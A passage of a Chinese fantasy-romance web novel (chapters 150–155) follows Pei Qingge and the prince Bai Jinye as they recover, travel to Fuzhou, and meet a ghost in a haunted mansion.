冥尸铜皮铁骨,但不是不会疼,刀砍在身上,也是一样的疼。 她微微皱了下眉头,抬眼看他,“其实你我非亲非故,曾经你厌恶我,我也不怎么看得上你,如今可以和平相处,也基本是为了救些人命,你没必要为了我这样。” “非亲非故?”白锦夜的眉头也跟着蹙起,“可你在我心里,就是我娶进门的王妃。” 第150章 我没有想过扔下你 裴清歌垂下眼,好半响才说,“我跟你说过了,我不是……” “我知道。”白锦夜打断她的话,顿了顿才说,“你休息吧,我在外面,有什么事叫我。” 裴清歌躺在床上,身体虚弱,有困意袭来。 若是此时坐在外面守着她的是鬼卿,她估摸着心里会踏实些,说不定真的能睡着。 可现在外面坐的是白锦夜,她哪哪儿都觉得别扭。 翻来覆去半响,她终于还是坐起身,看着屏风那边的人影,“刚刚华擎说左辞还昏迷着,被枯尸伤到,可大可小,不然我们去看看他怎么样了吧。” “你自己还这么虚弱,路都走不了,去看他做什么?”白锦夜顿了顿,“左右左辞也不会留在栎阳,明日我让人把他送过来,伤好了跟我们一起离开。” 裴清歌沉默了一会,最后只能说,“你在这我睡不着。” 白锦夜没再说话,但片刻之后还是起身出了门。 只不过人也没有离开,就站在门口。 裴清歌看着门外的方向,冥尸的气息她熟悉得不能再熟悉,别说白锦夜出了门,就算他离开这个院子,她多少也还是能感受到。 好在片刻之后,冷鸢就端着食盘走了过来。 她看着站在门外的白锦夜,在他开口之前就先道,“饭菜已经放在前堂了,王爷去吃吧。” 白锦夜的目光在食盘上扫了一眼,饭菜简单,说是补气血的汤,也不过就是当归山药红枣一类,他眉心微蹙了半响。 “王爷,再不去饭菜要凉了。”冷鸢忍不住催促。 白锦夜抬眼扫了她一眼,才往前堂走。 冷鸢这才进了门,把饭菜摆在桌上,扶着裴清歌走过来坐下。 她把碗筷递到裴清歌的手边,然后在她的旁边坐了下来。 她虽然是裴清歌的侍女,但在圣殿,等级本来也没有那么严,尤其是师父失踪之后,整个圣殿就剩下她、鬼卿和裴清歌三个人,所以也经常是同桌吃饭。 这院子里的食材不多,不过他们在圣殿的时候,吃的也很清淡,尤其是她和鬼卿,在去圣殿之前,连饭都吃不上。 而圣女的选拔也极为苛刻,开始的几年条件极为艰苦。 所以他们三个人对吃的东西向来没有太高的要求。 吃过东西,放下筷子,冷鸢才终于忍不住开口问道,“圣女,这个天风国王爷,他对你……” “我重生之前的这具身体,是他的王妃。”裴清歌也不想把这件事说得太复杂,想了会,这么说也就是最简单了。 冷鸢这才微微理解,“那他知道……他原来的王妃其实已经死了么?” 裴清歌点了点头。 “他既然知道了,你和他以前的王妃明明就是两个人,他也不该再纠缠你。”冷鸢说着又皱起眉头,半响才低声提醒道,“圣女是不能私自成亲的。” “阿鸢,咱们都从北冥国出来了,国君可能还在追杀我们,我现在也算不上是北冥国的圣女了。”裴清歌说着顿了顿,“以前那些缚着我们的规矩,也没必要全都遵守了。” 冷鸢怔了下,试探地问,“那……你也是想做他的王妃么?” “我跟他已经说清楚了,但是……”裴清歌微微抿了抿唇。 白锦夜和原主大概是没有什么感情的,洞房当晚,原主就死了。 之后的相处都发生在她和白锦夜的身上。 说是相处,其实也没有太多的相处时间,相比起来,甚至没有她跟左辞和桑榆相处的时间长。 她也不认为在战场上杀伐果断,从小在兄弟们互相算计中长大,甚至连父皇母后都对他没什么陪伴的白锦夜,会轻易动情。 裴清歌垂眼思索了片刻,“对他而言,我可能更像是一个责任,就像是他对他其他的下属一样,他总希望能把身边的所有人都安顿好。况且,冥尸对主人本来也会一种依赖之情,鬼卿会有,他也一样。” “阿鸢,你不用担心,我知道该怎么做。” 冷鸢点点头,但眼里依旧闪过一抹担忧,以前她无意间听到过师父和前任国君的对话,大概是说圣女的身体里有一股很蛮横的力量,这力量只有国君才能控制。 若是圣女跟其他人在一起,对两个人来说,这力量都是足以致命的。 她虽然是无意偷听,可还是生怕被发现,紧张又害怕,再加上她那会年纪还小,对这段对话记忆模糊,也不确定到底是不是这么说的。 白锦夜是死是活,是不是关系到天下苍生,她一点都不在乎,她在乎的,只是裴清歌而已。 况且,若是圣女能跟别人在一起,那也不该是白锦夜啊。 她无数次看见鬼卿望着裴清歌发呆,但眼里却又全是柔情,那绝不紧紧是冥尸对主人的依赖之情。 鬼卿守了裴清歌这么多年,以前没人敢说破,现在离开了北冥国,鬼卿也应该有机会才是。 * 第二日一早,华擎就派人把左辞送了过来,一起来的,还有鬼卿。 裴清歌撑着身体帮左辞检查,又开了药方,让人去抓药。 等忙完的时候,她已经出了一身的虚汗,于是便坐在院子里小憩。 鬼卿就站在不远的地方,看着她也没有上前。 若是以往他看到裴清歌身体虚弱,早就要过来询问,可这一次他从进门到现在,半个字都没有说。 裴清歌喘匀了气,才看向鬼卿,他的情绪不算太好,她能感觉得到,她似乎已经很多年没有见过生气的鬼卿了。 她微微勾了勾唇,“你怎么了?谁惹你生气了?” 鬼卿没回答这个问题,只是说,“枯尸,解决了,我明日,去西夜国。” “你先过来。”裴清歌挑了挑眉,开口道。 鬼卿没说话,站了会,然后便要转身离开。 “鬼卿。”裴清歌叫住他,“我这次回北冥国,是想弄清楚一些事情。我知道是国君打伤了你,他明知道你是我的人,还是下了杀手,我怕带你回去会有危险,才没有带上你。” “你把药,给了我。”顿了顿,鬼卿又道。 “是,那颗药本来就是苍幽给你的,吃与不吃,什么时候吃,都应该是由你自己来决定。”裴清歌看着他的背影,“我确实是怕回了北冥国就再也不能出来,所以我觉得那颗药应该给你,你自己带在身边。” 鬼卿在原地站了半响,才转过身,朝裴清歌走过去,在她对面坐下,握住她的手,放在自己的眉心上。 这段时间的事,华擎简单说过,裴清歌也大概了解了一些,但这一次,鬼卿让她看的,并不是发生的事情,而是他心里所想。 良久,裴清歌才低声道,“我没有这样想过,我没有想过扔下你。” 第151章 不做圣女挺好的 鬼卿垂下眼,没有说话。 “你在外面,多少还算安全,可阿鸢一个人在圣殿,我也担心她。”裴清歌继续道,“现在这样不是很好?阿鸢也出来了,我们三个又可以在一起了。” 鬼卿这才点点头,开口问,“那你,受伤了吗?” “没有,只是之前耗费了些精力,所以身体虚弱,养一养就好了。”裴清歌收回手,“但也不知道要养多久,你去西夜国,我就不能跟你一起去了。” “等我回来,去哪找你?”鬼卿又问。 裴清歌沉默了半响,她其实也不知道该去哪,应该会去找张之极和张太妃询问一下当年的事情,但大概也不会呆太久。 蓦地,她想起什么,开口道,“等你从西夜国回来,就去并州的西河城找白风御,如果我去过那,再去下一个地方,我会告诉他我去了哪,他也会转达给你,如果我还没去,你就在那等着我,我会去找你汇合。” “而且并州就跟西夜国接壤,你从西夜国回来去那也方便。现在钟栖应该已经回了并州,他认识你,白风御自然会安顿你。” “好。”鬼卿点点头,现在有冷鸢在裴清歌的身边,况且……他也能感受到,白锦夜现在和他一样,已经彻底是冥尸了,在危急的时刻,多少也能帮些忙,他去西夜国,就也没有那么不放心了。 “解决瘟神蜮虽然重要,但是你也要先保证自己的安全,若是哪里吃不准,也可以先放下,知道是什么地方,等我以后再去解决也可以。”裴清歌又交代道。 鬼卿又点点头。 裴清歌垂下眼,想了会又补充,“这一次我们离开北冥国,惹恼了国君,我们应该不可能再回去了,也还要躲着国君的追杀,你若是遇到北冥国的人,绕着走就是了。” 鬼卿应了一声,“我送你,回去休息。” 裴清歌点点头,站起来。 鬼卿把她送回房间,刚一出来,就见到白锦夜站在不远处看着他。 不知道是不是同为冥尸的缘故,他似乎隐约的能感受到白锦夜心中所想。 他慢慢地走过去,在白锦夜的面前停下。 两个人对视良久。 最终还是白锦夜先开了口,“我有些问题想跟你请教下。” 鬼卿微微点了点头,跟着白锦夜向远处走去。 冷鸢是被裴清歌打发去照顾左辞的,她刚走到廊下,就见到鬼卿和白锦夜两个人一起离开,她的眉心慢慢地蹙在一起,半响后,才继续走向左辞的房间。 裴清歌跟她提过左辞,说他是王府的总管,算是她在外面遇到过的人里面,除了桑榆以外,对她最友好的一个人了,也帮了她不少忙。 那左辞受了伤,她帮忙照顾,也是理所应当。 左辞到傍晚的时候就醒了,看着一旁盯着他的人吓了一跳,想要动,又牵动了伤口跌了回去,“这是哪?” “你被枯尸咬伤,圣女救了你。”冷鸢开口道。 “圣女?”左辞抬手揉了揉眉心,“是谁,她在哪?” 冷鸢皱了下眉头,“她姓裴。” “姓裴?”左辞刚醒过来,脑袋转得还有点慢,半响才反应过来,“是王妃?王妃和王爷回来了?他们人呢?” 冷鸢的眉头拧得更死,听到左辞这么称呼裴清歌,一点都不想留下来照顾他了,于是起身就离开了。 “喂?喂?”左辞叫了两声,冷鸢的脚步也没停,怎么?他是哪句话说错了么? * 吃过晚饭,裴清歌、冷鸢和鬼卿三个人坐在院子里围着火堆聊天。 冷鸢从厨房翻出来了一坛子酒,她自己尝了一口,味道也不算好,“等有时间,我再酿点果酒。” “哎,好像好久没有这样一起喝酒看星星了。”裴清歌抬头看着天上的星星,以前他们三个在圣殿的时候,一起练功修习术法,晚上偶尔也会点个篝火,围坐在篝火旁,看看星星,喝点酒,聊聊天。 “是。”冷鸢点点头,倒了一碗酒递给鬼卿,就把酒坛子放了下来。 裴清歌看着她的动作,眼底带了几丝不快,“怎么?没有我的份儿?” “你身体这么虚弱还喝酒?”冷鸢觑着她。 “只是虚弱一点,又不是生病受伤。”裴清歌说着伸手去拿酒,“喝一点没事的。” 冷鸢哪敢让她自己倒酒,于是就倒了小半碗递给她,“行,就喝一点。” 裴清歌撇了撇嘴,这还真是“喝一点”。 鬼卿看着她们两个人,微微勾唇笑了笑,低头喝了一口酒。 “你一个人去西夜国,多加小心。”冷鸢也知道了瘟神蜮的事,虽然她并不想让鬼卿这时候离开,但瘟神蜮必须要解决,她也没有理由把鬼卿留下来。 鬼卿点了点头。 冷鸢沉默了会,才又问,“今天王爷找你有什么事么?” 鬼卿擦嘴的手顿了下,又看了裴清歌一眼,才开口道,“没事。” “没有?”冷鸢狐疑地打量着鬼卿,隔了会又看向裴清歌,“圣女,看样子鬼卿开始有自己的秘密了。” 裴清歌也隔着篝火看着鬼卿,她笑了笑才道,“每个人都有自己的秘密。”说完她看向冷鸢,“你别再叫我圣女,也别叫他王爷了。” “不做圣女,挺好。”鬼卿看着她。 裴清歌看着面前的火堆,做圣女的时候,要考虑的就只是北冥国,不做圣女的,本来应该轻松的,可是要顾虑的,好像更多了。 * 白锦夜站在窗边,看着外面三个人说说笑笑,微微皱了下眉头。 楚星玄从一旁的椅子上拿起披风扔向白锦夜。 白锦夜转身接住。 “想去就去呗。”楚星玄坐在椅子上,前后晃着。 白锦夜把披风搭在一边,“去干什么?”说完也抬手关上了窗,走到一边坐下。 “算你识趣。”楚星玄打了个冷颤,他是不想管的,但白锦夜再开会窗,他就快冻死了,“这是天风国,不管怎么说,也算是你的地方,咱们接下来去哪,你有打算了么?” “去复州吧。”白锦夜开口道,“我外公告老还乡之后,这时候应该已经再回老家的路上,我们去复州跟他碰面。”他说着看了一眼窗外,“裴清歌不是想了解下关于张家血脉的事么?” 第152章 王妃自己有钱呢 鬼卿第二日启程去西夜国,裴清歌他们又小住了几天,等左辞的伤好了些,才启程往复州赶。 左辞的伤不能太过颠簸,所以赶路的速度也不快。 裴清歌一路上基本上都在睡觉,随着她休息的时间增加,虚弱的状态也在逐渐的改善,等到复州的时候,就差不多恢复了七八成。 复州在盛京以南,温度比月城那边高了不少,已经不用再穿棉衣。 而且这里商业繁华,从进了城开始,就是各种小集市,卖得东西也琳琅满目。 冷鸢掀开窗帘看着外面,脸上带着几丝遗憾,“咱们从圣殿走得太急,不然应该带上些钱财的。” “圣殿的没带就没带吧。”裴清歌看着她笑道,“之前我赚了些钱,以后大概还得靠这个为生,赚钱不是问题,你想买什么就买。” “真的?”冷鸢脸上的失落一扫而空。 裴清歌点点头,“之前我一个人也忙不过来,之后再开算卦的摊子,咱们两个一起,赚得肯定也更多了。” “嗯。”冷鸢点点头,顿了顿又道,“到时候小来小去的事情我就可以解决了,等有我解决不了的时候,你再出手。” “你解决不了的,怕也不多。”裴清歌笑了笑,“那咱们下去转转,看看有没有好东西可以买。” 在北冥国的时候,两个人几乎没有逛过市集,裴清歌也是到了天风国之后,才出去转了几圈。 所以这些对冷鸢来说,就是无比的新鲜,她看着摊位上的珠花头饰、胭脂水粉、手帕蒲扇全都爱不释手。 见她喜欢又犹豫不决的,裴清歌大手一挥,就都帮她买了下来。 白锦夜他们的马车慢慢地跟在后面。 楚星玄看着这俩女人逛起来没完的样子,脸上露出了几丝燥意,他转头看向白锦夜,“买这么多东西用得完么?多浪费,差不多就行了,你也不是王爷了,以后花钱得省着些。” “王妃自己有钱呢。”左辞靠在一边,王妃想要逛街,王爷都还没说什么,楚星玄催什么催? “哦?”楚星玄挑了挑眉,“她哪来的钱?” “王妃之前算卦赚了不少。”左辞又道。 楚星玄抚了抚掌,这样能赚钱的话,他也应该入一股,他不会算卦,但是解决些什么冤魂厉鬼的事情,也不在话下。 看着他不知道在盘算着什么,左辞忍不住开口,“你别想什么坏点子啊。” “我能想什么坏点子?”楚星玄看着他笑,“回头问问她,这生意带我一个。” 左辞想了想,以前只有王妃一个人,她不收徒,术法不外传,有的时候忙到不行,这楚星玄也是北冥国人,多少都应该能帮王妃一些,于是点了点头,“行,那我跟王妃商量商量。” “我要跟她做生意,你商量个什么?”楚星玄轻笑。 “当然要商量了,王妃的生意,我入了股的,我可是有分红的,王妃说我也算半个老板。”左辞笑得开心,以后王府和军营那边的分红估摸着是都没了,还好王妃有先见之明带着他做生意。 “哦——”楚星玄拉长了声音,“那算了,回头我自己开间店铺,生意也照样做。” “你不是要抢王妃的生意吧?”左辞不愿意了。 “谁说我也要做这个生意了?”楚星玄往外面看了看,“我觉得开间妓院不错,这是我从小的梦想,只不过我爹一直不让,不然我就在北冥国开了。” 左辞有些无语,最后只能说,“你这梦想,还真够猥琐的。” “这怎么了?赚钱就行呗,我也不逼良为娼,怎么就猥琐了。”楚星玄瞪着他。 “这妓院,有几个是干净的?”左辞脸上带着几丝不屑,“若不是走投无路,哪个女子愿意沦落风尘?等你满屋子的姑娘都没有一个愿意接客的时候,看你会不会‘逼良为娼’。” 楚星玄没再说话,用扇骨轻轻地敲着掌心,像是在思考什么。 顿了顿,白锦夜看向他,“我们一起做这个生意,不逼良为娼,可以卖艺不卖身,全凭个人心思,怎么样?” “你这是打算做善事?”楚星玄笑道。 “算是吧。”白锦夜点点头,之前裴清歌说过,鬼卿每年都会抽出专门的时间去做善事积累功德,那他多把一些人从火坑里救出来,多少也应该算是做善事了。 楚星玄摸着下巴,犹豫了会才说,“钱五五出,帐五五分。” “行。”白锦夜应了一声。 “看样子你不做王爷,但也还是有不少钱。”楚星玄砸吧了下嘴,“我有点后悔了,不然三七吧,我三你七。” “四六。”白锦夜说完又补充,“钱你出四,帐还是五五分,但这店铺管理上你出面。” “成!”楚星玄一拍手定了下来,“这样的话,回头我可得多去几家妓院,先观摩学习一下了。” “你就说你想去逛妓院,不用找这么冠冕堂皇的理由。”左辞撇了撇嘴。 “想什么呢?我可洁身自好得很。”楚星玄翻了白眼,“要不带你一起去?” “王爷,属下能去么?”左辞沉默了会,看向白锦夜。 白锦夜抬手拍了拍他的肩膀,“年纪不小了,多想想成亲的事吧。” 说笑间,裴清歌和冷鸢已经带着几大包东西回了前面的马车上,车夫便继续赶着马车往张府走。 张家在复州算是个大家族,只不过一直经商,就出了张之极这个一个大将军,又有了个女儿进了宫。 但自张家出事之后,张之极没脸见列祖列宗,已经多年不回复州。 复州的这些亲戚,也害怕染上张之极那一脉的“怪疾”,因此很长一段时间都断了往来。 也就是后来白锦夜兵权在握的时候,双方偶有托人送些节礼,除此之外,亲戚之间早就不走动了。 这一次白锦夜的事情牵扯这么大,张之极告老还乡,也只能回复州来。 当年张之极离开复州的时候,张家的祖宅里,是有一处他的宅院的,但他这么多年不在,这宅院早就被族长挪给了其他人用。 张之极也没想着回张家的祖宅住,正好张家祖宅隔了一条街的地方,有个宅院出售,他就买了下来。 原来张府除了张之极和一个老总管之外,也就只有几个下人,可是白锦夜离京的时候,把王府的人都托付给了他,因此这人也不少,好在宅院够大,也安排得下。 所以白锦夜他们到的时候,宅院还没有收拾妥当。 下了马车,看着面前的宅院,裴清歌还没说话,楚星玄就“啧啧”地摇了摇头,“都到了复州,还有人跟你们家过不去,你们家是仇人遍天下么?” 第153章 王爷你也要当我表弟么? “怎么?”白锦夜皱眉看向楚星玄。 楚星玄没有回答他的话,而是看向裴清歌,“到底也是冥尸了,该教的东西,你总得教教,什么都不知道以后怎么混?” “这宅子有点问题。”裴清歌说着顿了顿,又道,“问题不大,稍后解决了就是。” 说着话,张之极也带人迎了出来,之前白锦夜离京的时候,虽然都已经交代过,可是世事难料,帝心难测,他就生怕这中间出什么乱子,万一白锦夜真的出了事…… 走到门口,见到白锦夜好端端的站着,他这么多天悬着的心才终于放下。 “快,先进来吧,门口也不是说话的地儿。”张之极在前面带着路,把众人引到了大堂,“这宅子刚买下来,之前听说是空了许久,收拾起来可不容易。不过在这一片,也就只有这间宅子出售,其他的能容纳咱们这么多人的宅子,就很偏僻了。” “这宅子算是在城中比较好的位置,复州也不乏有钱人,这宅子为何会空了许久?”裴清歌开口问道。 张之极看了眼裴清歌,他对她的印象也没有太大的改观,白锦夜离开盛京之前,就跟他说过,如今盛京的那个“裴清歌”是假的,但是为了不让皇上起疑,让他就把她当成真的就行。 那个假的“裴清歌”可看着顺眼多了,性格温顺,对他恭恭敬敬,不会高声说话,也不会呛他,他甚至有时候觉得,要是以假乱真就好了。 但如今见了裴清歌,她似乎还是一样的……没礼貌,见到他这个外公都不知道问好,起码也应该简单的寒暄几声,再问关于这宅子的无关紧要的事吧? 张之极拧了下眉,半响才不情不愿地回道,“这宅子地段好,原主家也不缺钱,本来是不想卖的,不过好在原主跟锦夜的表哥关系好,说和之下,才算是出让了这个宅子。” 裴清歌点点头,看了白锦夜一眼,没再说话。 “外公,对外,我毕竟是已经死了的人,不过好在这复州也没什么人见过我,之后便直说我们是来投奔左辞的亲戚就行了。”白锦夜犹豫了下,开口道。 左辞怔了一下,嘀咕道,“怎么又是我?王妃说是我表弟,那王爷你也要当我表弟么?” “没大没小。”张之极忍不住教训了一声,“这些日子,我已经对外面说过了,因为没有子嗣继承家业,我就认了个干孙子来养老。以后你就是张府的少爷,没人会质疑你的身份的。” “这样好。”左辞也赶紧道,“那以后我就管王爷叫少爷,管王妃叫少夫人,还是老太爷想得周到。” 裴清歌咳了一声,显然对这个称呼不感冒。 “你娘自从到了复州之后,几乎每日都带着张嬷嬷去礼佛,一去就是一整天,今天估摸着也要傍晚才能回来了。”张之极又开口道,“我打算在府里建个佛堂,到时候你娘也就不用每天出府了。” 白锦夜其实也想问张太妃在哪,但是若真是见到她,又不知道该说什么,所以这话憋在嘴里一直都没有问出来。 “路上奔波,那你们先去休整下,咱们吃饭的时候再聊。”张之极说着招呼了下人带他们去休息。 楚星玄、左辞和冷鸢算是客人,被带到了厢房,白锦夜和裴清歌是主人,自然是住正房。 走到门口,裴清歌的脚步停下来,“我还是去和阿鸢一起睡吧。” “我们在这里应该也不会停留太久。”白锦夜侧头看她,“外公要是知道我们一直分房睡,肯定要念叨不停了。你睡床上,我睡榻上。” “我陪你一起演戏给你外公看,有什么好处?”裴清歌抬眼看他。 “你想要什么好处?”白锦夜抬手推开门,房间里极为喜庆的布置让他微愣了半响,这是按照新房布置的么? 裴清歌的脸也黑了半响。 “外公……可能只是年纪大了。”白锦夜轻咳了一声,走进门,把一些大红色的拉花摘掉,把床周围的红布花球也都拿了下来。 裴清歌看着床上绣着鸳鸯的喜被,沉默了会,才道,“也可能并不是你外公所为。” “嗯?”白锦夜不解。 “这宅子里怨气极重。”裴清歌说着顿了下,“之前盛京的那个大米商梁鸿,他家里的怨气也很重,但这宅子的怨气比他家有过之无不及。” 梁鸿的事,白锦夜也听左辞说过,他强抢民女,带回家也不善待,几乎全都折磨致死。 比那还重的怨气,又会是什么? “现在是白天,等晚上好好看看。”裴清歌看向白锦夜,“正好带你见见,楚星玄说的对,你总不能一直一无所知。” “你教我术法?”白锦夜挑眉问道。 “你要拜我为师?”裴清歌轻笑一声,“可惜,圣女收徒也只收女子,你没这个命了。” 白锦夜本来也不想和裴清歌变成师徒关系,便也没再继续这个话题,“那天血莲的事,你弄清楚了么?” 裴清歌看了他一眼,收起嘴角的笑容,“算是吧。” 说完这句,也没再往下说。 白锦夜知道她是不打算告诉他什么了,于是也没再问什么。 傍晚的时候,张太妃才和张嬷嬷回来,张之极之前跟她说了认了个干孙子的事情,所以她给白锦夜和裴清歌准备了见面礼。 给白锦夜的是一块玉佩,给裴清歌的是一对玉镯。 送完见面礼,她就说自己累了,要回房去用晚膳,顺便早点休息。 张嬷嬷看着这场面,眼睛红了又红,明明该是母慈子孝,可如今就完全成了陌生人。 趁着张太妃不注意,张嬷嬷用袖子擦了擦眼泪,又对着白锦夜福了福,才陪张太妃回房间去歇着了。 白锦夜看着张太妃离开的背影,手轻轻地摩挲着玉佩,隔了半响,才露出几丝欣慰的笑。 裴清歌把玉镯放回木匣,这么贵重的东西,她本也不该收,不能还给张太妃,回头给白锦夜就是了。 “她这些日子都自己在房里吃,慢慢来吧。”张之极说着招呼白锦夜入座,“来来来,陪我喝几杯。” “不喝了。”白锦夜说着看向裴清歌,“晚上还有事。” 他想着晚上还要跟裴清歌去查这府里的怨气,自然不能喝酒。 但是他这话说出来,张之极立刻就想歪了,“是是是,成亲也不少日子了,该准备要个孩子了。” 第154章 快要实质化的怨气 白锦夜神色一赧,脸色微红,但是这事上,解释又像是欲盖弥彰,怎么说都不对,于是干脆也就没说话。 可是看着白锦夜的神情,张之极更是觉得自己猜对了。 现在张太妃虽然忘记了白锦夜,但总归是恢复了正常,白锦夜的这块心病应该也是去了。 裴清歌能治好张太妃,就证明白锦夜也不会变成那个样子了,那确实该考虑添丁的事了。 想到这个,张之极更开心,张家有多少年没有过喜事了啊。 虽然裴清歌没什么做人家孙子媳妇的觉悟,但只要能添丁进口,这些都是小事。 他一开心,自己就喝了不少酒,最后满脸通红、走路不稳,被下人扶着回去睡了。 * 吃晚饭的时候,冷鸢就时不时地往主院的方向看。 人家祖孙叙旧,家人一起吃晚饭,他们外人没有必要往上凑,可裴清歌也要跟他们一起,她怎么都觉得不对。 况且……难道裴清歌晚上要跟白锦夜一起睡? 楚星玄瞄了冷鸢两眼,一边吃饭一边道,“哎,这张家子嗣单薄,见了面,张老爷子是不是就会催促你们‘少爷’和‘少夫人’赶紧生个孩子啊?” 左辞眨巴了下眼睛,点点头,“有可能,反正王爷现在也没有公务在身,时间多得很。” “是啊,这么大个宅子,我看张老爷子就是抱了这样的心思,不生个十个八个的,张老爷子是绝对不会满意的。”楚星玄又道。 “要生你自己生。”冷鸢拧起眉,“吃饭也堵不住你们的嘴么?” “这不是闲聊天么?你急什么?”楚星玄笑着看她。 “闲聊天聊你们自己的事,圣女的事不用你们说三道四。”冷鸢说完又看向左辞,“我们圣女不是你们王妃,也不是什么‘少夫人’,你以后别再乱叫。” 左辞一脸懵,“你这话可就不讲道理啊,那本来就是我们少爷的夫人,我叫‘少夫人’有错么?除非少夫人对这个称呼不满意,她想要换一个,不然我就这么叫,少夫人少夫人少夫人。” “你!”冷鸢瞪了左辞半响,最后“啪”的一声把筷子拍在桌上,转身走了。 “这人怎么回事?”左辞见她气得饭也不吃了,不由无语,“我叫少夫人怎么了?” 楚星玄脸上的笑意更大,“大概是觉得你们王爷配不上他们圣女。” 左辞撇了撇嘴,“我们少爷虽然有时候脑子不太好用,性子多少又有点别扭,但他肯定会对少夫人好的,反正我觉得他们现在关系融洽了不少,这就是往好的方向发展。” 楚星玄觉得左辞可能眼睛有什么问题,不然是怎么看出来这俩人的关系变得融洽了?不过如果不互相动手就算是融洽,那左辞说的可能也没错,他不想再继续这个话题,“一会出去逛逛?” 左辞眼睛一亮,“去妓院?” “主子脑子不好用,属下果然也差点事。”楚星玄嘀咕了一句,闷头吃饭。 * 吃完饭,又消了食,等夜深些,大家都回房了,裴清歌才带着白锦夜出门。 这宅子确实很大,收拾出来的,也就前堂和东南角这一片,整个后院大部分地方还是黑漆漆的。 裴清歌摸黑往前走,白锦夜跟在她身边,他多少也能感觉到,自己对周围的感知,要比以前强上很多。 如果是以前,这么黑的地方,他就算视力好一些,也只能模模糊糊地看见。 但如今,大部分都能看得清。 越往前走,怨气越重,在裴清歌看来,这怨气都已经快要凝聚成实质了。 她皱了下眉头,找了一颗粗壮的树,跃了上去,站在横出的树杈上,往前看。 白锦夜也跟着跃了上来,他看了一圈,只感觉这里确实很别扭,但哪里别扭又说不上来。 裴清歌知道白锦夜看不见,就抬手在他的眉心点了一下。 她本来是想帮他短暂的开天眼看一看眼前的景象的,但因为白锦夜是冥尸,她碰触他眉心的时候,也能感受到他脑海中想的事情,虽然只有一瞬间,可多少还是感受到了一些白锦夜的心思。 她赶紧收回手,清了下嗓子,“我暂时开了你的天眼,你现在可以看到你之前看不到的东西。” 白锦夜看着她,那天他向鬼卿请教问题的时候,就问过一些关于冥尸的事情,比如怎么能让冥尸流血。 这一点,鬼卿也不太清楚,只是给了些建议,他也已经吩咐人在四处寻找类似七杀斩的神兵利器。 鬼卿因为在尸化的过程中出了问题,在很长一段时间内是不会说话的,后来好了一些,可说话也还是比较困难,所以裴清歌大部分时候是自己来感受鬼卿的记忆和想法。 这一点鬼卿也一起告诉了他,眉心是最靠近冥尸意识之海的地方。 但也只有裴清歌能感受,之前在圣殿的时候,冷鸢也尝试过,却并没有办法感受,这应该跟只有裴清歌能控制冥尸是一个道理。 而且在裴清歌感受的时候,他们也会有感应,她感受到的东西,在他们的脑海里也会再过一遍。 “我确实觉得,如果能这样一直跟你在一起,只有你和我,是很好的一件事。”白锦夜侧头看着裴清歌的侧脸低声道。 裴清歌皱了下眉头,没有理会他的话,只是抬手往前指了指,“你自己看看。” 白锦夜无声地叹了口气,抬眼往前看去,本来他还能看清些东西,但被裴清歌开了天眼之前,眼前就开始变得雾蒙蒙的,不过这雾的颜色并不是白色,而是淡红色的。 “这世间的‘气’其实都是有颜色的,阴气是黑色的,尸气是灰色的,怨气本来是应该灰黑色中掺杂着一丝红色。红色的程度越深,怨气越大。”裴清歌继续解释道。 “这里的气都已经偏向淡红色了,可见怨气极深。你若是仔细感受,应该能感受到这空气中像是有些粘稠,这怨气几乎实质化,再深一些,甚至普通人都能感受到了。” “怨气能积累到这程度,这里之前一定发生过极为惨绝人寰的事情。” 裴清歌眯了眯眼,指向雾气中心最红的地方,“那里怨气最深,我们去那看看。” 第155章 女鬼勾人 白锦夜跟着裴清歌往前走,他只感觉前方的雾气越来越浓,裴清歌走路的速度在变快,他皱了皱眉,也快速的跟上去。 一直往前走,前面是一处小院子,这院子里只有一座房子。 这房子倒不像是很长时间没有人住了,反倒是像是新建的。 白锦夜看着裴清歌推开房门走进去,他也就跟着进去了。 进门不远有张桌子,裴清歌点燃了桌子上的油灯,房间里跟着亮了起来。 白锦夜看着这房子里也布置得极为喜庆,不由有些无奈,“外公可真是,怎么到处都布置成这个样子?” 就算是盼着他跟裴清歌好好过日子,那他们也早就过了新婚,没必要把房子都布置成新房的模样吧? 裴清歌转身看向白锦夜,开口问道,“那你喜欢这样的布置么?” 白锦夜微微沉默了会,往前走了几步,在裴清歌的面前停下,“之前的事情,对你很不公平,如果你愿意,我们可以把礼节都补上,媒妁之言,父母之命,三书六礼。我知道你受过的委屈,但至少还有机会可以弥补。” “是啊。”裴清歌笑道,“这些以后都可以慢慢补,但有一件事,就不用以后了。” “什么?”不知道为什么,白锦夜突然觉得有点热。 “洞房啊。”裴清歌脸上的笑容慢慢变大,声音也变得柔和起来,她走到白锦夜的面前,抬手抓住他的衣襟,“你看你,好像很热,我帮你把外套脱了吧。” 白锦夜的喉结轻轻滚动,看着裴清歌,像是行动能力都丧失了,任由着她动手,脱掉他的外套,只剩下中衣。 裴清歌又拉住他的手,“既然外公已经把这里布置成这样,我们别浪费了他一番心意。”说着她牵着白锦夜的手就往床边走。 白锦夜跟着她走了几步,微微皱了下眉头,觉得哪里不太对劲,脚步又停了下来。 “怎么了?”裴清歌转头看他。 “你怎么突然……”白锦夜顿了顿,把手抽了回来,往后退了几步,“不对,你不是她!” “裴清歌”笑着看着白锦夜,又走到他的身前,“我怎么不是呢?你仔细看看啊。”她说着又拉起白锦夜的手往自己的脸上摸去。 白锦夜猛地把手抽回来,又往后退了几步,这一定是幻觉!他转头四下看着,想要找到裴清歌在哪。 他的目光落在房间的布置上,是了,外公说这后院都还没有收拾出来,他和裴清歌刚过来的时候,这一片都是黑漆漆的,怎么可能会有一处崭新的房子? 这房子本身就不对! 他得赶紧出去! 这个念头冒出来,白锦夜转身就往门口走。 只是他刚走到门口,门突然就自己合上,无论他怎么用力,都没有办法打开房门。 “来了就不要走了,留下吧。”“裴清歌”走到他的身后,抬手抓住他的肩膀。 白锦夜回身挡开女人的手,“滚开!” “裴清歌”轻笑一声,“这可是我们的洞房,刚刚你不是愿意的么?”她说着又往前靠近。 白锦夜一掌打在她的肩头。 可她纹丝不动,整个人像是水蛇一样缠了上来,声音就在白锦夜的耳边环绕,“你不是愿意的么?你不想跟我在一起么?洞房花烛,一刻千金。” 低柔带着蛊惑的声音不断地在白锦夜的脑海里萦绕,他用了全身的力气也没办法把这女人从身上甩掉。 但不知道是不是求生欲望太强,突然从他的身体里爆发出一股他从来都没有感受过的力量,生生的把那女人弹开了。 女人倒飞出去,落在地上。 再起来的时候,就已经变了样子。 她的头发披散下来,脸上狰狞得看不见人样,穿着一身红色的衣服,指甲黑长。 她那看不见眼白的眼睛死死地盯着白锦夜,桀桀怪笑的声音从她的喉咙里发出来,她伸长手臂,快速的朝白锦夜扑过来。 白锦夜闪身躲开,但终归没有她的速度快,最终还是被女鬼按在地上。 